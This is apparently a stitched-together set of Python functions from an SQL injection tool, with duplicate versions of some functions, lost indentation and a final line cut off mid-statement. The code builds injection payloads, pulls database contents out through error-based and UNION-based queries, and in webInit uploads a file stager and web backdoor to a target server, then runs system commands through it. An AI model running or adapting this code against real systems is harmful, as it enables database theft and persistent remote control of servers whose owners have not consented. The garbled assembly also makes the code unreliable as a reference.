retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def processResponse(page, responseHeaders, status=None):
kb.processResponseCounter += 1
page = page or ""
parseResponse(
page, responseHeaders
if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
else:
kb.tableFrom = None
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
match = re.search(regex, page)
if match and PLACE.POST in conf.parameters:
name, value = match.groups()
if PLACE.POST in conf.paramDict and name in conf.paramDict[
PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
else:
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
if not readInput(msg, default='N', boolean=True):
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(
r"(?i)(%s=)[^&]+" % re.escape(name),
r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification",
page or ""):
kb.browserVerification = True
warnMsg = "potential browser verification protection mechanism detected"
if re.search(r"(?i)CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
def payload(self,
place=None,
parameter=None,
value=None,
newValue=None,
where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
if place == PLACE.URI:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
elif kb.postHint == POST_HINT.JSON:
origValue = extractRegexResult(
r"(?s)\"\s*:\s*(?P<result>\d+\Z)",
origValue) or extractRegexResult(
r'(?s)(?P<result>[^"]+\Z)', origValue)
elif kb.postHint == POST_HINT.JSON_LIKE:
origValue = extractRegexResult(
r'(?s)\'\s*:\s*(?P<result>\d+\Z)',
origValue) or extractRegexResult(
r"(?s)(?P<result>[^']+\Z)", origValue)
else:
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"]+\Z)",
origValue) or ""
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.index(',') + 1:]
if conf.prefix:
value = origValue
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group()
if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
value = randomStr(6)
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
if kb.postHint == POST_HINT.JSON and not isNumber(
newValue) and not '"%s"' % _ in paramString:
newValue = '"%s"' % newValue
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(
newValue) and not "'%s'" % _ in paramString:
newValue = "'%s'" % newValue
newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR,
REPLACEMENT_MARKER)
retVal = paramString.replace(_,
self.addPayloadDelimiters(newValue))
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR,
"").replace(REPLACEMENT_MARKER,
CUSTOM_INJECTION_MARK_CHAR)
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue,
self.addPayloadDelimiters(newValue))
else:
retVal = re.sub(
r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)),
"%s=%s" %
(parameter,
self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))),
paramString)
return retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y,
(extractRegexResult(
regex, removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE)), None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(
"<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(
r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(
column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start,
kb.chars.delimiter.join(row),
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def _oneShotErrorUse(expression, field=None):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
else:
chunk_length = None
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
if kb.fileReadMode and output:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.jsonAggMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
# Note: introduced columns in 1.4.2.42#dev
try:
kb.tableFrom = vector[9]
kb.unionTemplate = vector[10]
except IndexError:
pass
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if kb.jsonAggMode:
if Backend.isDbms(DBMS.MSSQL):
output = extractRegexResult(
r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop),
page or "")
if output:
try:
retVal = ""
fields = re.findall(
r'"([^"]+)":',
extractRegexResult(r"{(?P<result>[^}]+)}", output))
for row in json.loads(output):
retVal += "%s%s%s" % (
kb.chars.start,
kb.chars.delimiter.join(
getUnicode(row[field] or NULL)
for field in fields), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
elif Backend.isDbms(DBMS.PGSQL):
output = extractRegexResult(
r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop),
page or "")
if output:
retVal = output
else:
output = extractRegexResult(
r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop),
page or "")
if output:
try:
retVal = ""
for row in json.loads(output):
retVal += "%s%s%s" % (kb.chars.start, row,
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
else:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return firstNotNone(
extractRegexResult(regex,
removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE))
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlUnescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.jsonAggMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "retrying failed SQL query without the ORDER BY clause"
singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited)
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)",
agent.nullAndCastField(expression)):
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
singleTimeDebugMessage(debugMsg)
kb.nchar = False
retVal = _oneShotUnionUse(expression, unpack, limited)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if kb.forceWhere:
where = kb.forceWhere
elif where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
if place == PLACE.URI:
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
else:
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^"\[,]+\Z)', origValue)
else:
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.find(',') + 1:]
match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
if match:
origValue = match.group("value")
elif ',' in paramString:
header = paramString.split(',')[0]
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
origValue = origValue.split(' ')[-1].split(':')[-1]
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
value = randomStr(6)
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
newValue = '"%s"' % newValue
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
newValue = "'%s'" % newValue
newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
_ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
def _(pattern, repl, string):
retVal = string
match = None
for match in re.finditer(pattern, string):
pass
if match:
while True:
_ = re.search(r"\\g<([^>]+)>", repl)
if _:
try:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError:
break
else:
break
retVal = string[:match.start()] + repl + string[match.end():]
return retVal
if origValue:
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter:
